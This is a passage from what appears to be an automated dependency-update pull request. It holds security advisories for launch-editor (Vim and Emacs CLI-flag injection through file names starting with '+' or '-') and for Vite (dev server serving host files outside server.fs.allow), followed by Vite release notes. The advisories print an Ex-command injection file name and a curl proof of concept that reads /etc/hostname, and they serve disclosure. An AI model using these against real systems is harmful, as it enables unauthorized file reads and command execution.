[https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw](https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112945](https://nvd.nist.gov/vuln/detail/CVE-2026-112945) - [https://github.com/vitejs/vite/pull/23653](https://github.com/vitejs/vite/pull/23653) - [https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17](https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9jrq-w75r-8gcw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors [CVE-2026-112944](https://nvd.nist.gov/vuln/detail/CVE-2026-112944) / [GHSA-r825-w8mm-5pxw](https://github.com/advisories/GHSA-r825-w8mm-5pxw) <details> <summary>More information</summary> #### Details ##### Summary `launch-editor` forwarded file paths directly to editors without sanitization. If a path resembles a CLI flag, editors like Vim may interpret it as a command, potentially causing unintended file overwrites or command execution. ##### Impact ##### Direct `launch-editor` users Only apps that match all of the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The first argument of `launchEditor` can start with `+` or `-` or the user is using WSL ##### `launch-editor-middleware` users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - launch-editor older than v2.2.0 is used, or the user is using WSL ##### Vite users Only apps that match the following conditions are affected: - The attacker is able to create a file system entry (e.g. a file or directory) starting with `+` or `-` in the working directory - The user uses or the app specifies any of the following editors: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) - The user is using WSL ##### Details `launchEditor(file)` function passes the file name as-is to the editor if the file with that file name exists. If the file name starts with `-` (also `+` for Vim), the editor treats them as flags rather than positional arguments. For example, Vim treats arguments starting with `+` as an Ex command. As a result, an existing relative directory such as: ``` +call writefile(["SAFE_MARKER"],"LAUNCH_EDITOR_MARKER")|qa! ``` is not treated as a filename when passed to Vim. Vim executes the embedded Ex command. The following editor has a potentially destructive operation exposed to the CLI arguments: - Vim (including gVim) - MacVim - Emacs (including Emacsclient) - Notepad++ (only if using a plugin exposing dangerous operations via plugin messages) `launch-editor-middleware` v2.2.0+ converts the passed file path to an absolute path so those are not affected as long as the user is not using WSL. For WSL, `launch-editor` converts the paths to relative paths internally, so those are still affected. Vite 2.0.0+ uses `launch-editor-middleware` v2.2.0+ so the WSL users are only affected. #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw](https://github.com/vitejs/launch-editor/security/advisories/GHSA-r825-w8mm-5pxw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112944](https://nvd.nist.gov/vuln/detail/CVE-2026-112944) - [https://github.com/vitejs/launch-editor/pull/156](https://github.com/vitejs/launch-editor/pull/156) - [https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4](https://github.com/vitejs/launch-editor/commit/f6e6701bb1f16f2dd242b321374f1b6cca6eb6d4) - [https://github.com/vitejs/launch-editor](https://github.com/vitejs/launch-editor) - [https://github.com/vitejs/launch-editor/releases/tag/v2.14.2](https://github.com/vitejs/launch-editor/releases/tag/v2.14.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r825-w8mm-5pxw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine [CVE-2026-112946](https://nvd.nist.gov/vuln/detail/CVE-2026-112946) / [GHSA-rq7h-c2jc-7f22](https://github.com/advisories/GHSA-rq7h-c2jc-7f22) <details> <summary>More information</summary> #### Details ##### Summary The content of files outside `server.fs` setting can be returned to the browser if the project imports a file path concatenated with the `root`. For example, if the project references `<path-to-project-root>/etc/hosts`, the content of `/etc/hosts` was possible to be returned. The content of files outside the `server.fs.allow` option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing `<project-root>/etc/hosts` could make Vite return the host's `/etc/hosts` file. ##### Impact Only apps that meet all of the following conditions are affected: - explicitly expose the Vite dev server to the network (using `--host` or the [`server.host` option](https://vite.dev/config/server-options#server-host)) - contain an imported file whose root-relative browser URL is also the absolute path of a readable file on the host - The sensitive file is not matched by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) - the dev server is not running on Windows ##### Details When Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as `/etc/hostname`. In affected versions, Vite converts that URL with `fsPathFromUrl` and adds the result to `safeModulePaths`. Because `fsPathFromUrl` ensures a leading slash without resolving the URL against the project root, the project URL `/etc/hostname` is recorded as if it were the absolute filesystem path `/etc/hostname`. For a later request to `/@fs/etc/hostname`, the raw-filesystem middleware interprets `/etc/hostname` as an absolute path. The access check applies `server.fs.deny`, then accepts paths present in `safeModulePaths` before checking `server.fs.allow`. As a result, the request can return the host file instead of the project file that originally populated `safeModulePaths`. ##### PoC The following example requires Linux with a readable `/etc/hostname`: ```bash $ mkdir vite-safe-module-path-poc $ cd vite-safe-module-path-poc $ npm init -y $ npm install vite@8.3.1 $ mkdir -p etc $ echo 'PROJECT-DECOY\n' > etc/hostname $ echo 'import "./etc/hostname"\n' > main.js $ npx vite --host 127.0.0.1 ``` In another terminal: ```bash $ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js 200 $ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname 200 $ cmp -s response /etc/hostname && echo 'response matches host file' response matches host file ``` #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22](https://github.com/vitejs/vite/security/advisories/GHSA-rq7h-c2jc-7f22) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112946](https://nvd.nist.gov/vuln/detail/CVE-2026-112946) - [https://github.com/vitejs/vite/pull/23656](https://github.com/vitejs/vite/pull/23656) - [https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa](https://github.com/vitejs/vite/commit/170b92791421bcd484f7325936d989a82d6bd4aa) - [https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721](https://github.com/vitejs/vite/commit/45c0e3392a298626955a0ab93a8e51232daac721) - [https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905](https://github.com/vitejs/vite/commit/c3e06f92e969952466b4e2f5801e85e1e00cd905) - [https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0](https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0) - [https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3](https://github.com/vitejs/vite/commit/f0d76c7da13d5e794807b82f0b86c1931a8438e3) - [https://github.com/vitejs/vite](https://github.com/vitejs/vite) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rq7h-c2jc-7f22) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>vitejs/vite (vite)</summary> ### [`v8.1.6`](https://github.com/vitejs/vite/releases/tag/v8.1.6) [Compare Source](https://github.com/vitejs/vite/compare/v8.1.5...v8.1.6) Please refer to [CHANGELOG.md](https://github.com/vitejs/vite/blob/v8.1.6/packages/vite/CHANGELOG.md) for details. ### [`v8.1.5`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#820-2026-07-30) [Compare Source](https://github.com/vitejs/vite/compare/v8.1.4...v8.1.5) ##### Features - add `input` to `server.fs.allow` ([#23035](https://github.com/vitejs/vite/issues/23035)) ([95a3cda](https://github.com/vitejs/vite/commit/95a3cdab83e1125b03d2e8dd942fb6b64209e5fa)) - **bundled-dev:** reload once after rebuild instead of via the fallback page ([#23106](https://github.com/vitejs/vite/issues/23106)) ([b24381d](https://github.com/vitejs/vite/commit/b24381d741941b9ce2b1c07db62cc5f4d7bad981)) - **bundled-dev:** support worker file update accepted by HMR ([#23068](https://github.com/vitejs/vite/issues/23068)) ([0d04351](https://github.com/vitejs/vite/commit/0d04351fdc12258c75b9f1cda5780fdb836ed0ef)) - **config:** include column in config incompatibility location ([#23064](https://github.com/vitejs/vite/issues/23064)) ([8a24572](https://github.com/vitejs/vite/commit/8a245726944ed29225920d49be77c33c6e03afc8)) - **dev:** resolve interface name for explicit host in network URLs ([#22965](https://github.com/vitejs/vite/issues/22965)) ([3ac77d9](https://github.com/vitejs/vite/commit/3ac77d9dd742968961af38a5a91ed6b061ceda7d)) - add `input` option ([#22642](https://github.com/vitejs/vite/issues/22642)) ([9beae37](https://github.com/vitejs/vite/commit/9beae37d7221b25463a011feb40b0303ca328d87)) - **config:** warn features incompatible with native loader in bundle loader ([#22850](https://github.com/vitejs/vite/issues/22850)) ([05302b0](https://github.com/vitejs/vite/commit/05302b07267f6b4f9dbeac5b1d73fcc3dc06d730)) - **css:** export PostCSS config type for type-safe configs ([#22792](https://github.com/vitejs/vite/issues/22792)) ([302c755](https://github.com/vitejs/vite/commit/302c755a8125b9a26214e3b413922b5513e41981)) - **dev:** label network URLs with their interface name ([#22830](https://github.com/vitejs/vite/issues/22830)) ([78accc4](https://github.com/vitejs/vite/commit/78accc42a5b8887d9df624f7d4a934d3ead677d1)) - **optimizer:** support aube lockfile ([#22813](https://github.com/vitejs/vite/issues/22813)) ([6319827](https://github.com/vitejs/vite/commit/6319827116c5be2a19c1b91c84ba3d38ad26a41c)) - **optimizer:** support nub lockfile ([#22891](https://github.com/vitejs/vite/issues/22891)) ([65d3604](https://github.com/vitejs/vite/commit/65d3604f6fdbfcf6e86244d7fe3c1ca86acae701)) - update rolldown-related dependencies and use client-side HMR in bundled-dev ([#22961](https://github.com/vitejs/vite/issues/22961)) ([960e9ef](https://github.com/vitejs/vite/commit/960e9efbc1372000caac46cc2f123cef4824e2bb)) - **wasm:** expand test suite, unwrap WebAssembly.Global and enable js-string builtins ([#22674](https://github.com/vitejs/vite/issues/22674)) ([9e79b51](https://github.com/vitejs/vite/commit/9e79b51579457a9af4fa623b68a0bfabbf38010b)) ##### Bug Fixes - **bundledDev:** print build errors to the terminal when an HMR update fails ([#23024](https://github.com/vitejs/vite/issues/23024)) ([41c4658](https://github.com/vitejs/vite/commit/41c465896e8b11b1eb9c5fbdafbdcc528e189a2c)) - **deps:** update all non-major dependencies ([#23069](https://github.com/vitejs/vite/issues/23069)) ([4c07b74](https://github.com/vitejs/vite/commit/4c07b74416f859d7e8bdace13409ef2d080edf76)) - **hmr:** preserve environment snapshot during server restart ([#22992](https://github.com/vitejs/vite/issues/22992)) ([b1186c3](https://github.com/vitejs/vite/commit/b1186c36d06bb94941c58e8272fc4acb8512c93b)) - **importAnalysis:** interop imports injected into optimized dep files by plugins ([#23029](https://github.com/vitejs/vite/issues/23029)) ([8c2a87d](https://github.com/vitejs/vite/commit/8c2a87d41fb24536e59643351758084cde4d0dd7)) - **module-runner:** keep stack trace interception working when `Object.prototype` is frozen ([#23073](https://github.com/vitejs/vite/issues/23073)) ([599c5b0](https://github.com/vitejs/vite/commit/599c5b02a8b6879b05ede988020f1331e877aaea)) - **server:** strip base in indexHtml module graph lookup ([#22932](https://github.com/vitejs/vite/issues/22932)) ([fa005d1](https://github.com/vitejs/vite/commit/fa005d19af5d847931c6dbefc63841c137383e6c)) - support resolving top-level input option with plugins ([#23101](https://github.com/vitejs/vite/issues/23101)) ([41df81a](https://github.com/vitejs/vite/commit/41df81a6a4c3eef08f7a9a8ac9530cd136c0eafa)) - **build:** map CSS chunks in chunk import maps (fix [#22946](https://github.com/vitejs/vite/issues/22946)) ([#22947](https://github.com/vitejs/vite/issues/22947)) ([e16ff3a](https://github.com/vitejs/vite/commit/e16ff3a1199293ac9cdfa6132c08fdea162215f3)) - **config:** exclude virtual modules from native config compat check ([#22979](https://github.com/vitejs/vite/issues/22979)) ([2ced1fe](https://github.com/vitejs/vite/commit/2ced1fe4e4e480ed78cb7aa5c78319e57bfa7783)) - **css:** rewrite urls in OnceExit-injected content ([#22983](https://github.com/vitejs/vite/issues/22983)) ([abb793e](https://github.com/vitejs/vite/commit/abb793e18c92592c21fbb8e1f3fc450b5839f04f)) - **deps:** update all non-major dependencies ([#22985](https://github.com/vitejs/vite/issues/22985)) ([04f345b](https://github.com/vitejs/vite/commit/04f345b37064cd0bba6447eb5c32be5c22162f3d)) - **deps:** update dependency magic-string to v1 ([#22998](https://github.com/vitejs/vite/issues/22998)) ([c60b4d7](https://github.com/vitejs/vite/commit/c60b4d7cdb85b7d4f78671cdcfb863e5f8b66bb7)) - **hmr:** remove hot data after prune ([#23002](https://github.com/vitejs/vite/issues/23002)) ([be96316](https://github.com/vitejs/vite/commit/be9631658f5191ee5c5665e780239d42a330280a)) - resolve root to real path ([#22832](https://github.com/vitejs/vite/issues/22832)) ([55bba7b](https://github.com/vitejs/vite/commit/55bba7bbd9de40d031360e4408fe91bff5b29ec9)) ##### Performance Improvements - **config:** skip native config compat check when warning is ignored ([#23000](https://github.com/vitejs/vite/issues/23000)) ([18535d1](https://github.com/vitejs/vite/commit/18535d11cff9ce2a508798146a29d56a8fc5d901)) - **optimizer:** check popular package manager lockfiles first ([#22909](https://github.com/vitejs/vite/issues/22909)) ([14fcb66](https://github.com/vitejs/vite/commit/14fcb66c7513957beea28de9657d15936ad48728)) ##### Documentation - **config:** correct cacheDir default fallback description ([#23060](https://github.com/vitejs/vite/issues/23060)) ([aafa103](https://github.com/vitejs/vite/commit/aafa103af5d71fb59d7c3dd617d0cbef3b222f1f)) - remove `@experimental` from `resolve.tsconfigPaths` JSDoc ([#23006](https://github.com/vitejs/vite/issues/23006)) ([961643a](https://github.com/vitejs/vite/commit/961643a44c2268b4226a885c89adfdd1d3ace635)) ##### Miscellaneous Chores - fix ts erros in test cases ([#22972](https://github.com/vitejs/vite/issues/22972)) ([f654769](https://github.com/vitejs/vite/commit/f6547698b1b71387d7337b8ceac92d9b8aa68e1c)) ##### Tests - config CJS module vars in ESM case ([#23010](https://github.com/vitejs/vite/issues/23010)) ([d8cd388](https://github.com/vitejs/vite/commit/d8cd38830251b95fd7dddcd0eee0ce94cc61c2f4)) ##### Beta Changelogs ##### [8.2.0-beta.0](https://github.com/vitejs/vite/compare/v8.1.5...v8.2.0-beta.0) (2026-07-22) See [8.2.0-beta.0 changelog](https://github.com/vitejs/vite/blob/v8.2.0-beta.0/packages/vite/CHANGELOG.md) ### [`v8.1.4`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-814-2026-07-09-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.1.3...v8.1.4) ##### Features - **legacy:** prefer oxc as minifier (fix [#21973](https://github.com/vitejs/vite/issues/21973)) ([#22468](https://github.com/vitejs/vite/issues/22468)) ([ab5dafa](https://github.com/vitejs/vite/commit/ab5dafa8e66296ef201f615489fb57954bb740ce)) ##### Bug Fixes - **build:** add workaround for building on stackblitz ([#22840](https://github.com/vitejs/vite/issues/22840)) ([575c32c](https://github.com/vitejs/vite/commit/575c32c29925c554f4ef4068738ab89c6878f615)) - **build:** keep `import.meta.url` in preload function as-is ([#22839](https://github.com/vitejs/vite/issues/22839)) ([f1f90ed](https://github.com/vitejs/vite/commit/f1f90ed4742b3cf453428c7e581a6016a4d47321)) - **deps:** update all non-major dependencies ([#22865](https://github.com/vitejs/vite/issues/22865)) ([d4295a9](https://github.com/vitejs/vite/commit/d4295a9ffce428c0e51892373e00c07fccc0498a)) - **deps:** update rolldown-related dependencies ([#22866](https://github.com/vitejs/vite/issues/22866)) ([7cf07e4](https://github.com/vitejs/vite/commit/7cf07e4c5f7a6af276012e0c2ec06e08499e951e)) - **html:** avoid backtracking in import-only check ([#22848](https://github.com/vitejs/vite/issues/22848)) ([b5868c0](https://github.com/vitejs/vite/commit/b5868c01a124d345664450aaebd677bfba964c05)) - **optimizer:** avoid optimizer run for transform request before init ([#22852](https://github.com/vitejs/vite/issues/22852)) ([72a5e21](https://github.com/vitejs/vite/commit/72a5e2192506f51a5efd09c059815a5c43a9eacb)) - **ssr:** align named export function call stacktrace column with Node ([#22829](https://github.com/vitejs/vite/issues/22829)) ([173a1b6](https://github.com/vitejs/vite/commit/173a1b648c321e0f836e5a94fc47c4fa9b081bfc)) - strip pure CSS chunk imports when chunkImportMap is enabled ([#22841](https://github.com/vitejs/vite/issues/22841)) ([648bd04](https://github.com/vitejs/vite/commit/648bd04933093d0aac9565f21a49811437776886)) ##### Documentation - fix incorrect `@default` for `server.cors` ([#22859](https://github.com/vitejs/vite/issues/22859)) ([70435b2](https://github.com/vitejs/vite/commit/70435b2551ee4fe3a0d55c8a3bb61b96f44d2763)) ##### Miscellaneous Chores - **deps:** update dependency postcss-modules to v9 ([#22867](https://github.com/vitejs/vite/issues/22867)) ([a9539d6](https://github.com/vitejs/vite/commit/a9539d69efc7a4ccf988bbf5da31c2b416ba990e)) ##### Code Refactoring - eliminate ineffectiveDynamicImport warn ([#22876](https://github.com/vitejs/vite/issues/22876)) ([ea22fb3](https://github.com/vitejs/vite/commit/ea22fb352aad9a42c0a9d08f39d8a0bae8c111a5)) ##### Tests - avoid warnings ([#22851](https://github.com/vitejs/vite/issues/22851)) ([af21ab6](https://github.com/vitejs/vite/commit/af21ab68adac3380dc9a854d2fe3f776654301cd)) ##### Build System - remove the custom onLog function ([#22878](https://github.com/vitejs/vite/issues/22878)) ([2c4a217](https://github.com/vitejs/vite/commit/2c4a217a63dc0a7fcb10bc710a988f32b173f481)) - replace deprecated `onwarn` with `onLog` ([#22741](https://github.com/vitejs/vite/issues/22741)) ([c581b55](https://github.com/vitejs/vite/commit/c581b5588cb8e94603d17bce2ff9fec8e8e0a3bf)) ### [`v8.1.3`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-813-2026-07-02-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.1.2...v8.1.3) ##### Bug Fixes - **css:** inject inlined CSS after the shebang line ([#22717](https://github.com/vitejs/vite/issues/22717)) ([1534d36](https://github.com/vitejs/vite/commit/1534d362794e856cc718b123cb245e0efcf36b9a)) - **deps:** bump `es-module-lexer` to 2.3.0 ([#22838](https://github.com/vitejs/vite/issues/22838)) ([7103c3a](https://github.com/vitejs/vite/commit/7103c3af795396e2ad87e1125eb3fc20d60d9430)) - preload css for nested dynamic imports ([#22759](https://github.com/vitejs/vite/issues/22759)) ([2c53054](https://github.com/vitejs/vite/commit/2c530542da1c50b95b7f0cb17adf82f64ecf97f3)) - **ssr:** correct stacktrace column position for first line ([#22828](https://github.com/vitejs/vite/issues/22828)) ([c4acd69](https://github.com/vitejs/vite/commit/c4acd6982a051fa10dbd7e3a37e00f0c467793b8)) ### [`v8.1.2`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-812-2026-06-30-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.1.1...v8.1.2) ##### Bug Fixes - **deps:** revert es-module-lexer to 2.1.0 ([#22827](https://github.com/vitejs/vite/issues/22827)) ([0d3bd7c](https://github.com/vitejs/vite/commit/0d3bd7c4111b8345cfc353c7bbb2c30601752e26)) - restore, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd ([#22757](https://github.com/vitejs/vite/issues/22757))" ([#22825](https://github.com/vitejs/vite/issues/22825)) ([efb98cc](https://github.com/vitejs/vite/commit/efb98cce73f3f89c4f03936ab7741cd5b0636f5c)) - revert, "fix: escape ids with multiple null bytes ([#22687](https://github.com/vitejs/vite/issues/22687))" ([cccef55](https://github.com/vitejs/vite/commit/cccef55dfaa6253929d2cb58d3af53f217efc877)) - revert, "fix: resolve pnpm .modules.yaml from workspace root instead of cwd ([#22757](https://github.com/vitejs/vite/issues/22757))" ([cf97711](https://github.com/vitejs/vite/commit/cf97711963ddcdcfac3e4fcd00771d7a55e92141)) ### [`v8.1.1`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-811-2026-06-30-small) [Compare Source](https://github.com/vitejs/vite/compare/v8.1.0...v8.1.1) ##### Features - update dynamic import warning to link to Vite docs ([#22823](https://github.com/vitejs/vite/issues/22823)) ([62bd7af](https://github.com/vitejs/vite/commit/62bd7afd27ec0507bf528a135165dda3a44ebc21)) ##### Bug Fixes - **bundled-dev:** avoid stack overflow on `import.meta.hot.invalidate()` ([#22797](https://github.com/vitejs/vite/issues/22797)) ([709eb8e](https://github.com/vitejs/vite/commit/709eb8ee03d3c46269755334f59b7e9a353fc522)) - **bundled-dev:** serve assets emitted during HMR/lazy compile ([#22745](https://github.com/vitejs/vite/issues/22745)) ([5876b2c](https://github.com/vitejs/vite/commit/5876b2cc2e1a01df9363e1e3d1d19f474ba68285)) - **bundledDev:** skip plugin transform hooks for rolldown-lazy stub modules ([#22778](https://github.com/vitejs/vite/issues/22778)) ([8f925e2](https://github.com/vitejs/vite/commit/8f925e2e496f4d313d860acb53880245b07ce6f7)) - **css:** preserve dollar signs in external `@import` urls with lightningcss ([#22718](https://github.com/vitejs/vite/issues/22718)) ([9fa7ab4](https://github.com/vitejs/vite/commit/9fa7ab4990f4fe74597d0a37a16d84af1c1e3544)) - **css:** resolve tsconfig paths in CSS and Sass [@import](https://github.com/import) ([#22775](https://github.com/vitejs/vite/issues/22775)) ([ef0b891](https://github.com/vitejs/vite/commit/ef0b8916160c4d2a677decc062f6faa48fbf1578)) - **deps:** update all non-major dependencies ([#22734](https://github.com/vitejs/vite/issues/22734)) ([e635f49](https://github.com/vitejs/vite/commit/e635f493faa24930ae637318d6564539bc668e89)) - **deps:** update all non-major dependencies ([#22804](https://github.com/vitejs/vite/issues/22804)) ([8837400](https://github.com/vitejs/vite/commit/8837400a676a633af1ad6d3746b584d13cf90ecc)) - **deps:** update rolldown-related dependencies ([#22591](https://github.com/vitejs/vite/issues/22591)) ([2ce6677](https://github.com/vitejs/vite/commit/2ce6677a151c53a019baec32859b646267f9d320)) - escape ids with multiple null bytes ([#22687](https://github.com/vitejs/vite/issues/22687)) ([833fc30](https://github.com/vitejs/vite/commit/833fc302f3f4a5030f49207b5fbf10422f3247a2)) - hide console window when running 'net use' on Windows ([#22698](https://github.com/vitejs/vite/issues/22698)) ([92b63f2](https://github.com/vitejs/vite/commit/92b63f219f6c1872f35461aa75e9e9aec79bb01c)) - ignore bundled config temp dir ([#22800](https://github.com/vitejs/vite/issues/22800)) ([043a810](https://github.com/vitejs/vite/commit/043a81096ddf8c6f9077c8e3e12362c83f9ed089)) - invert `esbuild.jsxSideEffects` when converting to `oxc.jsx.pure` ([#22809](https://github.com/vitejs/vite/issues/22809)) ([33895ba](https://github.com/vitejs/vite/commit/33895ba4faa0a46d5bd7b3eb53d02255113c8b5d)) - **optimize-deps:** ignore `ERR_CLOSED_SERVER` in scanner ([#22784](https://github.com/vitejs/vite/issues/22784)) ([085a0ab](https://github.com/vitejs/vite/commit/085a0ab704bf1a698d459d625a5c955d27b73134)) - **optimizer:** scanner should resolve `input` from `root` ([#22769](https://github.com/vitejs/vite/issues/22769)) ([9722b07](https://github.com/vitejs/vite/commit/9722b0795b68602597ddd53e3d3c7ed9f00cb831)) - resolve pnpm .modules.yaml from workspace root instead of cwd ([#22757](https://github.com/vitejs/vite/issues/22757)) ([2531ac7](https://github.com/vitejs/vite/commit/2531ac7ccd1d581df5febe4a3814226ba8939a20)) - return sourcemap field from some plugins that were lacking ([#22782](https://github.com/vitejs/vite/issues/22782)) ([7e18bf8](https://github.com/vitejs/vite/commit/7e18bf802bdde7a386eb3b407c87a67f89a895ca)) - **server:** handle malformed URI in indexHtmlMiddleware ([#22781](https://github.com/vitejs/vite/issues/22781)) ([84f5ccc](https://github.com/vitejs/vite/commit/84f5cccc7574c740c46f5cb2a09f29cde8380701)) ##### Miscellaneous Chores - improve dependency optimizer messages ([#22549](https://github.com/vitejs/vite/issues/22549)) ([092cb3b](https://github.com/vitejs/vite/commit/092cb3b4247a06ba176c094a9a743d335adc6574)) ##### Code Refactoring - **css:** remove lightningcss null byte bug workaround ([#22822](https://github.com/vitejs/vite/issues/22822)) ([2dafd3b](https://github.com/vitejs/vite/commit/2dafd3bb7f8b265037e216f50afaa890ae2e2875)) - use pre-defined environments variable to avoid duplicate `Object.values` calls ([#22790](https://github.com/vitejs/vite/issues/22790)) ([1113acf](https://github.com/vitejs/vite/commit/1113acf6cff711196b3443f7126804847c1d4e1e)) ##### Tests - enable "manual chunk path" test and remove "worker.format error" test ([#22824](https://github.com/vitejs/vite/issues/22824)) ([c088511](https://github.com/vitejs/vite/commit/c088511f34a01f13e21498a492df8554bf332cdf)) ### [`v8.1.0`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#810-2026-06-23) [Compare Source](https://github.com/vitejs/vite/compare/v8.0.16...v8.1.0) ##### Features - extend `server.fs.deny` list with common files ([#22707](https://github.com/vitejs/vite/issues/22707)) ([61ba8fd](https://github.com/vitejs/vite/commit/61ba8fdc6500e8aa668021833ae5e6ebd200466d)) - update rolldown to 1.1.2 ([#22695](https://github.com/vitejs/vite/issues/22695)) ([4f008a6](https://github.com/vitejs/vite/commit/4f008a6213014fe5e898f42561bdc621e103903e)) - use `~` for Rolldown ([#22693](https://github.com/vitejs/vite/issues/22693)) ([9928722](https://github.com/vitejs/vite/commit/9928722f7d08de27907c48b65ddc071244166e05)) - `import.meta.glob` support `caseSensitive` option ([#21707](https://github.com/vitejs/vite/issues/21707)) ([2ad6737](https://github.com/vitejs/vite/commit/2ad6737a838cc23ebb9b2766682d28b11078dab5)) - add warning to discourage Vite with yarn pnp ([#21906](https://github.com/vitejs/vite/issues/21906)) ([3fbb55a](https://github.com/vitejs/vite/commit/3fbb55add62a1b94a2b47b7da70db4ae99a7c943)) - **build:** chunk importmap ([#21580](https://github.com/vitejs/vite/issues/21580)) ([e180312](https://github.com/vitejs/vite/commit/e1803128e5698202e22c6e5e17dc9ebd83d4f3f5)) - **css:** support lightningcss plugin dependency ([#21748](https://github.com/vitejs/vite/issues/21748)) ([0b7aaed](https://github.com/vitejs/vite/commit/0b7aaedc98cacb00e6db33f5f79a70192da38304)) - **deps:** bump [@vitejs/devtools](https://github.com/vitejs/devtools) peer dependency version ([#22542](https://github.com/vitejs/vite/issues/22542)) ([d2c2bc0](https://github.com/vitejs/vite/commit/d2c2bc090bab9bb9508e5060accb5179b6310257)) - **html:** add `html.additionalAssetSources` option ([#21412](https://github.com/vitejs/vite/issues/21412)) ([a41404b](https://github.com/vitejs/vite/commit/a41404b8894d4de729ed49fb51e0b6230d6cb511)) - integrate with Vite Task for zero-config build caching ([#22453](https://github.com/vitejs/vite/issues/22453)) ([f8d75f7](https://github.com/vitejs/vite/commit/f8d75f7723aeb635126c8dc0e0c33266c72d24c0)) - rename `server.hmr` options to `server.ws` options ([#21357](https://github.com/vitejs/vite/issues/21357)) ([9ce3036](https://github.com/vitejs/vite/commit/9ce3036d31d4e56b8ef3730a39a7f0e54baa951f)) - **server:** support multiple hosts in \_\_VITE\_ADDITIONAL\_SERVER\_ALLOWED\_HOSTS ([#21501](https://github.com/vitejs/vite/issues/21501)) ([735f9a1](https://github.com/vitejs/vite/commit/735f9a19a9d0e313c865c87daad677aaf358406b)) - track dependencies when loading config with native ([#22602](https://github.com/vitejs/vite/issues/22602)) ([a7e2da8](https://github.com/vitejs/vite/commit/a7e2da8cdb306cfdf1660aa4b1fe24873a8dd873)) - **types:** add more precise typing for known `query` types to match known `as` types ([#21863](https://github.com/vitejs/vite/issues/21863)) ([cc39e55](https://github.com/vitejs/vite/commit/cc39e55401d559b771fa3e029d90c419a364b805)) - update rolldown to 1.1.1 ([#22593](https://github.com/vitejs/vite/issues/22593)) ([8a13d63](https://github.com/vitejs/vite/commit/8a13d6337eea3e74d6a7abaaa7e1d378f5b9bc49)) - **wasm:** direct .wasm imports (WASM ESM Integration) ([#21779](https://github.com/vitejs/vite/issues/21779)) ([c23d85b](https://github.com/vitejs/vite/commit/c23d85b9654685d7217cfc33817d2953b77744f8)) ##### Bug Fixes - **bundled-dev:** errors should be kept when incremental build fails ([#22617](https://github.com/vitejs/vite/issues/22617)) ([9a0dd48](https://github.com/vitejs/vite/commit/9a0dd481ac2160078b8173879e0fa86e5e6af05d)) - cache falsy values in perEnvironmentState ([#22715](https://github.com/vitejs/vite/issues/22715)) ([0e91e79](https://github.com/vitejs/vite/commit/0e91e79841b501d29dc86a6b7c0313660781196a)) - **glob:** respect caseSensitive option in hmr matcher ([#22711](https://github.com/vitejs/vite/issues/22711)) 